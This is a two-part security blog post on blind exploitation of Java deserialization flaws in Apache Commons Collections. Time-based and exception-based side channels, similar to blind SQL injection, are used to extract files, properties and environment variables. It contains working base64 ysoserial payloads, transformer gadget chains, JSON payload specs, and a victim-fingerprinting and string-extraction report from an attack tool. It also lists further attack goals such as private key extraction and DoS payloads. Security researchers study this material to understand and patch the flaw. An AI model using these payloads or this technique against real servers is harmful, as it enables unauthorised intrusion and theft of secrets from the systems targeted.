Summary of the Part 1: with crafting a payload we can make a vulnerable application sleep on certain conditions, e.g., if the running Java is version 8, a binary search of the character. Such sleep leaks one bit of information. We automate this approach to extract the whole strings and files from the vulnerable systems.

This approach is useful if normal RCE from ysoserial toolchain does not work from some reason (firewall, policy, SecurityManager, selinux, IDS). We can extract precious pieces of information using this technique, which help us with further attacks, e.g., database connection strings, passwords, private keys, machine configuration.

Testing

In order to test deserialization vulnerability payloads in real environment, we made a simple REST server than accepts an input parameter in BASE64, deserializes it and prints the result (if applicable). Our payloads are tested against this test server.

Apache Commons-collection 3.1 is included as dependency so the CommonsCollections exploit class works. The server uses the Spring Boot framework and can be started from command line (has embedded Tomcat server). It is easy to test if the generated payload works as expected (sleep / exception).

Deserialize test server can be found on the GitHub. You can test against it with our attack tool.

Building the payloads dynamically

ysoserial is a good place to start with Java Deserialization. It has a simple CLI one can use to build a simple payload. In the Part 1 we extended the possibilities of the payload generation.

Our goal is mainly to automate binary search and string extraction from the vulnerable system. For each guess we need to construct a new payload on the fly. There is plenty of options to construct such payload dynamically so we decided to build the payload from the JSON specification.

JSON spec

JSON specification is a scheme for the payload. It determines how the resulting payload is constructed by the Generator.java which takes the JSON spec as an input and produces binary payload with the functionality defined in the spec.

Here are a few examples of payload construction:

Very simple payload - sleeps for 5 seconds.

{"exec":[
  {"cmd":"sleep", "val": 5000},
]}

The same sleep payload but using another CommonsCollections path - corresponds to CommonsCollections5 in ysoserial. Moreover the payload is valid (default option) = it does not throw an exception after deserialization finishes (see Part 1 for more info).

{"exec":[
  {"cmd":"sleep", "val": 5000}],
  "valid": true, "module": 5
}

This payload has 2 consequent commands. java command is a macro we defined in the Generator.java which detects whether the running Java version is 8. It does that by Classloading a class that was added in Java 8. Thus if Java 8 is there, class load succeeds and sleep is invoked. If lower java version is there, class loading fails with exception and sleep is not invoked.

{"exec":[
  {"cmd":"java", "val": 8},
  {"cmd":"sleep", "val": 5000}
]}

The following payload is a simple if (predicate) then action. fileEx is another macro which constructs a predicate returning true if the given file exists. In this example the application sleeps in that case.

{"exec":[
  {"cmd":"if",
     "pred":{"cmd":"fileEx", "val": "/etc/passwd"},
     "then":{"cmd":"sleep", "val": 5000}
  }
]}

This payload reads the /etc/passwd file from the file system, converts all characters to lowercase and tests if the result contains a string nbusr123. If it does, the app sleeps for 5 seconds.

{"exec":[
  {"cmd":"if", "pred":[
  {"cmd":"fileRead", "val":"/etc/passwd"},
  {"cmd":"toLower"},
  {"cmd":"contains", "val":"nbusr123"}],
  "then":{"cmd":"sleep", "val": 5000}}
]}

This one demonstrated how to do a binary search on the input string - in this case the /etc/passwd file. The page sleeps for 5 seconds if the 16th character of the file is in the regex range [a-z].

{"exec":[
  {"cmd":"if", "pred":[
  {"cmd":"fileRead", "val":"/etc/passwd"},
  {"cmd":"toLower"},
  {"cmd":"substr", "start":15, "stop":16},
  {"cmd":"matches", "val":"[a-z]"}],
  "then":{"cmd":"sleep", "val": 5000}}
]}

The last example demonstrates the payload wrapping inside a HashMap. This is handy if the application expects the HashMap after deserialization. With this we avoid ClassCastException.

{"exec":[
  {"cmd":"sleep", "val": 5000}],
  "wrap":{"type":"map", "key":"foo", "into":{
    "eval2": "java.util.HashMap m = new java.util.HashMap();m.put(\"hello\", \"world\");return m;"
}}}

The following JSON spec is different from others. It does not use Transformer chain, but javassist approach (see the Part 1). With javassist exploit classes user does not have to express the logic with Transformers but can use Java code directly. Obviously the expressivity in this case is much greater, more sophisticated payloads can be constructed (e.g., reverse shell). This kind of exploits was not our main focus, but we also support these for testing if the destination machine is vulnerable (see report below):

{"javassist":"cc3", "code":"java.lang.Thread.sleep(5000L);"}

To learn more on gadget construction consult the Generator.java sources.

User does not have to write JSON spec directly, Attack.java implements few interesting use cases for the user (it internally constructs JSON spec, payload is generated and used). But writing those may come handy if you want to express a new functionality or build payloads separately - e.g., build a REST server generating payloads - request = JSON spec, response = generated payload.

String extraction

In order to extract the string, we first check if the string is null or empty. If it’s not, we proceed to the step 2 - length extraction.

We choose the simple algorithm to determine the string length: String.substr(). If the index is out of bounds (i.e., string does not contain it) the exception is thrown.

We thus make guesses like:

String.substr(0, 1);  // ok
String.substr(0, 2);  // ok
String.substr(0, 4);  // ok
String.substr(0, 8);  // ok
String.substr(0, 16); // exception

If the exception is thrown we know the length of the string is somewhere in between 8 - 15. The next step is to start a binary search in the interval 8 - 15 to find the exact length.

Then we extract one character after another using a binary search on the alphabet. It’s done by String.matches() using regular expressions. The alphabet consists of printable ASCII characters + binary null.

Our regex alphabet:

[\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]

The practical string extraction is demonstrated below.

Optimizations

The approach can be optimized so the algorithm waits a minimum time during the binary search. This can be done simply by a frequency analysis. In the particular step the algorithm asks whether the character being found is located in the range [BCDEFG] or [HIJKLM]. For us it is better to wait the minimum time, thus check the group which is less probable to occur (thus we don’t sleep).

Also the previous guesses can be used to further optimize the search, e.g., with more complex frequency analysis (digrams, trigrams), autocomplete engines or AI.

Exploitation

The exploitation example is in Attack.java which demonstrates:

extraction of os.name property
extraction of PATH environment variable
extraction of /etc/hosts from the system
simple victim fingerprinting (determines working exploit classes, java version, OS, security manager access, a few interesting properties)

Affected libraries

The Blind attack is mainly focused on Apache Commons Collections library. Affected versions are Apache Commons Collections <= v3.2.1 and <= v4.0. The security problem is fixed in v3.2.2 and v4.1.

Further work

The work can be extended and added as a Metasploit module or Burp module.
Extending information extraction also to javassist exploits.
Implementation of reverse shell payload in javassist exploit class.
Improve the system fingerprinting, scan for running services (e.g., MySQL, Oracle, Tomcat).
Container fingerprinting (Tomcat, JBoss, WebSphere, …).
Private key extraction from web servers & containers.
Implementation of DoS payloads.

Resources:

Part 1 of our blog post
Deserialize test server
extended ysoserial with blind attacks implemented, victim fingerprinting
ysoserial the original one
Java-Deserialization-Cheat-Sheet
Understanding ysoserial’s CommonsCollections1 exploit
What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability

Demo

Clone Deserialize test server and extended ysoserial.
Start the Deserialize test server.
Test whether it is listening on port 8022 - in the readme of the server you find how to compile it and test it.
Run the GeneratorTest.java test class from the extended ysoserial. It constructs payloads from JSON specifications and runs them against the deserialize server.
Run the AttackTest.java test class from the extended ysoserial. It contains the exploitation technique demonstration described above. The attack is launched against the test server and produces the report as below.
Have fun.

Report - shortened

The Attack.java runs an automated test against the victim to determine few interesting properties:

# Testing CommonsCollections - Transformer based, v3
Sleep Commons01 worked: true
Sleep Commons05 worked: true
Sleep Commons06 worked: true

# Testing javassist exploit classes
# Accepting the raw Java code as payload body.
# cc = CommonsCollections. cc2, cc4 uses v4 lib
Javassist[       cb1] worked: false
Javassist[       cc2] worked: false
Javassist[       cc3] worked: true
Javassist[       cc4] worked: false
Javassist[ hibernate] worked: false
Javassist[      weld] worked: false
Javassist[     jboss] worked: false
Javassist[      jdk7] worked: false
Javassist[      json] worked: false
Javassist[     rhino] worked: false
Javassist[      rome] worked: false
Javassist[   spring1] worked: false
Javassist[   spring2] worked: false

# Testing maximum length of the payload
# server accepts
Length limit 1k passed: true
Length limit 4k passed: true
Length limit 16k passed: true
Length limit 256k passed: true
Exception in post Req
Length limit 1M passed: false

# Major java version running the app
Java 4 version: true
Java 5 version: true
Java 6 version: true
Java 7 version: true
Java 8 version: true

# Security manager active?
Security manager == null? true

# os.name fingerprinting
OS: win: false
OS: mac: true
OS: darwin: false
OS: nux: false
OS: sun: false
OS: bsd: false

# Path on which ping resides
OS: /bin/ping false
OS: /sbin/ping true
OS: /usr/bin/ping false
OS: /usr/sbin/ping false
OS: /usr/local/bin/ping false

# Security manager checks &
# read, write, exec checks
Can connect to google.com:80: true
Can exec /bin/bash: true
Can read /etc/passwd: true
Can write to /tmp : true
Can write to /var/tmp : true

Going to extract property: os.name

os.name

Example of a property extraction from the system.

Going to extract property: os.name
Prepared alphabet: \x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s
Num steps in binary search 6.6582114827517955
Going to find length of the string
String is null: false
String is empty: false
--Max length guess: 1
--Max length guess: 2
--Max length guess: 4
--Max length guess: 8
--Max length guess: 16
Length is between 7 and 16
--Length: 7 - 16, mid: 12
--Length: 7 - 11, mid: 9
--Length: 7 - 8, mid: 8
--[0]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 101, mid: 051. y: 1, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0000]Length: 000 - 051, mid: 026. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./01234]                         vs [56789:;<=>?@ABCDEFGHIJKLM]
--[0000]Length: 026 - 051, mid: 039. y: 0, range: [56789:;<=>?@A]                         vs [BCDEFGHIJKLM]
--[0000]Length: 039 - 051, mid: 045. y: 0, range: [BCDEFG]                         vs [HIJKLM]
--[0000]Length: 045 - 051, mid: 048. y: 0, range: [HIJ]                         vs [KLM]
--[0000]Length: 048 - 051, mid: 050. y: 0, range: [KL]                         vs [M]
--[0]=✂M✂
--[1]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0001]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0001]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0001]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0001]Length: 070 - 073, mid: 072. y: 1, range: [ab]                         vs [c]
--[0001]Length: 070 - 072, mid: 071. y: 1, range: [a]                         vs [b]
--[1]=✂a✂
--[2]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0002]Length: 051 - 076, mid: 064. y: 0, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0002]Length: 064 - 076, mid: 070. y: 0, range: [\[\\\]\^_`]                         vs [abcdef]
--[0002]Length: 070 - 076, mid: 073. y: 1, range: [abc]                         vs [def]
--[0002]Length: 070 - 073, mid: 072. y: 0, range: [ab]                         vs [c]
--[2]=✂c✂
--[3]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0003]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0003]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0003]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0003]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[3]=✂ ✂
--[4]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0004]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0004]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0004]Length: 051 - 058, mid: 055. y: 1, range: [NOPQ]                         vs [RST]
--[0004]Length: 051 - 055, mid: 053. y: 1, range: [NO]                         vs [PQ]
--[0004]Length: 051 - 053, mid: 052. y: 0, range: [N]                         vs [O]
--[4]=✂O✂
--[5]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0005]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0005]Length: 051 - 064, mid: 058. y: 1, range: [NOPQRST]                         vs [UVWXYZ]
--[0005]Length: 051 - 058, mid: 055. y: 0, range: [NOPQ]                         vs [RST]
--[0005]Length: 055 - 058, mid: 057. y: 1, range: [RS]                         vs [T]
--[0005]Length: 055 - 057, mid: 056. y: 0, range: [R]                         vs [S]
--[5]=✂S✂
--[6]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 051 - 101, mid: 076. y: 0, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0006]Length: 076 - 101, mid: 089. y: 0, range: [ghijklmnopqrs]                         vs [tuvwxyz\{\|\}~\s]
--[0006]Length: 089 - 101, mid: 095. y: 0, range: [tuvwxy]                         vs [z\{\|\}~\s]
--[0006]Length: 095 - 101, mid: 098. y: 0, range: [z\{\|]                         vs [\}~\s]
--[0006]Length: 098 - 101, mid: 100. y: 0, range: [\}~]                         vs [\s]
--[6]=✂ ✂
--[7]Range to test: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 000 - 101, mid: 051. y: 0, range: [\x00\x09\x0a\x0b\x0c\x0d!\"#$%&'\(\)*+,\-\./0123456789:;<=>?@ABCDEFGHIJKLM]                         vs [NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 101, mid: 076. y: 1, range: [NOPQRSTUVWXYZ\[\\\]\^_`abcdef]                         vs [ghijklmnopqrstuvwxyz\{\|\}~\s]
--[0007]Length: 051 - 076, mid: 064. y: 1, range: [NOPQRSTUVWXYZ]                         vs [\[\\\]\^_`abcdef]
--[0007]Length: 051 - 064, mid: 058. y: 0, range: [NOPQRST]                         vs [UVWXYZ]
--[0007]Length: 058 - 064, mid: 061. y: 0, range: [UVW]                         vs [XYZ]
--[0007]Length: 061 - 064, mid: 063. y: 1, range: [XY]                         vs [Z]
--[0007]Length: 061 - 063, mid: 062. y: 1, range: [X]                         vs [Y]
--[7]=✂X✂
Extracted string: Mac OS X

Blind Java Deserialization Vulnerability - Commons Gadgets

Fri, 02 Sep 2016 08:00:00 +0200

TL;DR: Exploitation of Java Deserialization vulnerability in restricted environments (firewalled system, updated Java). Technique similar to blind SQL injection enables to extract data from the target system (read files, properties, env vars).

Parts:

Introduction
Sending data back from the victim
Payload builder & exploitation
Gadgets
Conclusion

Introduction

Java Deserialization vulnerability is a very nice way to get Remote Code Execution (RCE) on the target system. ysoserial tool provides a lot of exploits that enable RCE via different paths/libraries. In this article I focus on Apache Commons library as it is very common.

There are 2 main Commons exploits classes (w.r.t. payload construction):

One uses javassist for payload construction. It takes Java code (payload) as a string, builds bytecode from it and constructs final serialized shellcode. This is a very strong approach as we can basically express every program with it (e.g., reverse shell). Unfortunately, if the system running the Java program is updated (Java), this method won’t work as essential classes do not allow bytecode execution anymore. I won’t go into these kind of exploits as it is easy to patch them. If they are not patched, you can build your own gadgets quite easily.
Another one uses a chain of Transformers - objects defined in Commons library, which can be leveraged to do RCE using reflection by crafting the chain. In this case we lose expressivity as the code being executed on the target machine has to be expressed via a chain of Transformers. Only a small subgroup of programs can be expressed using these gadgets. This makes building nice gadgets for this class of exploits challenging. Fortunately for us, it enables RCE - system command execution. In this article I focus on interesting gadgets one can construct using this method.

So if the server running the vulnerable Java server is updated (i.e., Java is updated), the first class of exploits won’t work. Well, we can still do RCE. A typical scenario would be to run reverse shell on the target machine, i.e., let vulnerable Java server connect to our server and execute all commands we send to it.

But what if the system is firewalled so well no outgoing connections can leave the vulnerable machine? Or if there are strong SecurityManager policies in place? Then we cannot communicate with the target system directly. RCE is nice but without communication we can hardly see the result of our payload being executed.

In that case we need to learn more information about the target system and find a way to send data back to us. For the communication we use covert channels as in the case of Blind SQL Injection.

Sending data back from the victim

If we are lucky enough, the target system shows us an error when we want it to show. Then we can construct payloads like:

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

This gives us 1 bit of information at a time. If the current user is the “root”, the page produces an Exception and we know the user. Otherwise the page loads normally.

If this is not the case and the server filters exceptions somehow, we can use the timing approach, which works very well but takes some time and is not 100% reliable.

if (System.getProperty("user.name").equals("root")){
    Thread.sleep(7000);
}

In this case the page loading sleeps for 7 seconds if the current user is root. sqlmap uses the same approach to read entire databases. It uses binary search on the characters to read the strings and send them to the attacker. E.g. the following code sleeps for 7 seconds if the first character is in the interval of a-j. We can learn the first character of the string in ceil(log(N)) queries where N is size of the alphabet. When using the printable ASCII alphabet with 101 characters, it’s 7 steps.

if (System.getProperty("user.name").substring(0, 1).matches("[a-j]")) {
    Thread.sleep(7000);
}

There are also problems with this method. If network connection is not good enough, it adds noise and some queries can be interpreted in a wrong way (i.e., the page did not sleep, but the loading still took a long time).

Payload builder & exploitation

It’s not necessary to understand the whole principle of Java Deserialization vulnerability in order to understand this article. For those unfamiliar with all the technical details it is safe to assume the upper payload is constructed (by ysoserial tool) in such a way the deserialization leads to executing the top Transformer object which is serialized in the payload. Transformers can contain other transformers and with this we construct a useful exploitation gadget. If you want to know more, I recommend Understanding ysoserial’s CommonsCollections1 exploit and What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

In this article we present ideas of exploitation in restricted environment. We state gadgets that we deem useful and that are possible to express in a chain of Transformers. The transformation of the code to the Transformer chain is demonstrated.

For practical demonstration of this blind approach see the part2 of our blogpost.

Gadgets

The sleep gadget is very nice to detect if the system is vulnerable to a given class of exploits. So instead of running calc.exe (as ysoserial uses for demo) we do Thread.sleep(7000);. If the system is vulnerable, the page sleeps for a while. Bam.

Gadget for sleep:

new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
        new Class[]{
                String.class, Class[].class
        },
        new Object[]{
                "sleep", new Class[]{Long.TYPE}
        }),
new InvokerTransformer("invoke",
        new Class[]{
                Object.class, Object[].class
        }, new Object[]
        {
                null, new Object[] {7000L}
        }),

Working payload for Commons1 exploit:

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAAAAG1h0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgARdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AFnB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==

Terminating the transformer chain

The Commons1 Transformer gadgets have a typical structure (by ysoserial):

doSomethingTransformer,
new ConstantTransformer(1)

The final ConstantTransformer causes an exception during deserialization (after our payload executes). You may want it like this. But if you want the page to load successfully in some cases, the exception is not desirable. The upper gadget layer expects a Set object (gets Integer - exception). To avoid the exception, the last chain should create a set instance:

new ConstantTransformer(java.util.HashSet.class),
new InvokerTransformer("newInstance",
        null, null )

Wrapping in collections

ysoserial tool generates payloads which, after deserialization, are seen as sun.reflect.annotation.AnnotationInvocationHandler. If you deserialize the example payload from the above, it will be of this type.

If your vulnerable application expects a collection, it usually throws ClassCastException. You can actually avoid this ClassCastException by wrapping the payload inside a collection to let the application feel OK and still execute our payload during deserialization.

For example if an application expects a List, we can construct a List and add the payload as another list element. It still gets executed, but without an exception being thrown (if we are lucky and the application ignores unknown elements).

rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF0AAtIZWxsbyB3b3JsZHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AAZzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AJAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ACRzcQB+ABx1cQB+ACEAAAACcHVxAH4AIQAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhb